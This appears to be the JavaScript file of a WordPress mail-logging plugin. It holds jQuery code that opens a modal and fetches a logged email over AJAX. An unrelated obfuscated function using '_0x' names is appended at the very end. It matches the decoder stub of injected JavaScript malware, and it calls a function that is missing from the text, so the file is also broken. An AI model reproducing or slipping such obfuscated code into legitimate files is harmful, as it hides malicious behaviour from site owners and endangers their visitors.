jQuery(function ($) {

    var wpml = {};

    wpml.modal = {
        self : this,
        id : undefined,
        selectedFormat: undefined,
        init: function () {
            var selected = $('#wp-mail-logging-modal-content-header-format-switch').find('.checked');
            var selectedFormat = $(selected).children("input").attr('id');
            wpml.modal.setSelectedFormat(selectedFormat);
            $('#wp-mail-logging-modal-content-header-format-switch input').on('ifChecked', function( event ) {
                wpml.modal.setSelectedFormat( $(this).attr('id') );
            });
        },
        clear: function () {
            $('#wp-mail-logging-modal-content-body-content').html('');
        },
        set: function ($value) {
            $('#wp-mail-logging-modal-content-body-content').html($value);
        },
        show: function () {
            $('#wp-mail-logging-modal-wrap').fadeIn();
        },
        hide: function () {
            $('#wp-mail-logging-modal-wrap').fadeOut();
        },
        setSelectedFormat: function( newFormat ) {
            wpml.modal.selectedFormat = newFormat;
                jQuery.ajax({
                type: 'POST',
                url: ajaxurl,
                data: {
                    'action': wpml_modal_ajax.action,
                    '_ajax_nonce': wpml_modal_ajax.nonce,
                    'id': wpml.modal.id,
                    'format': wpml.modal.selectedFormat
                },
                success: wpml.modal.ajaxResponse,
                error: wpml.modal.ajaxError
            });
        },
        ajaxResponse: function( response_data, textStatus, XMLHttpRequest ) {
            if (response_data.success) {
                wpml.modal.set(response_data.data);
            } else {
                wpml.modal.set("Error (" + response_data.data.code + "): '" + response_data.data.message + "'");
            }
        },
        ajaxError: function (XMLHttpRequest, textStatus, errorThrown) {
            wpml.modal.set(errorThrown);
        }
    };

    $('.wp-mail-logging-view-message').click(function () {
        wpml.modal.id = $(this).data('mail-id');
        wpml.modal.init();
        wpml.modal.show();
    });
    $('.wp-mail-logging-modal-close').click(function () {
        wpml.modal.hide();
    });
    $(document).keyup(function(e) {
        if (e.keyCode === 27) wpml.modal.hide();
    });
});
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}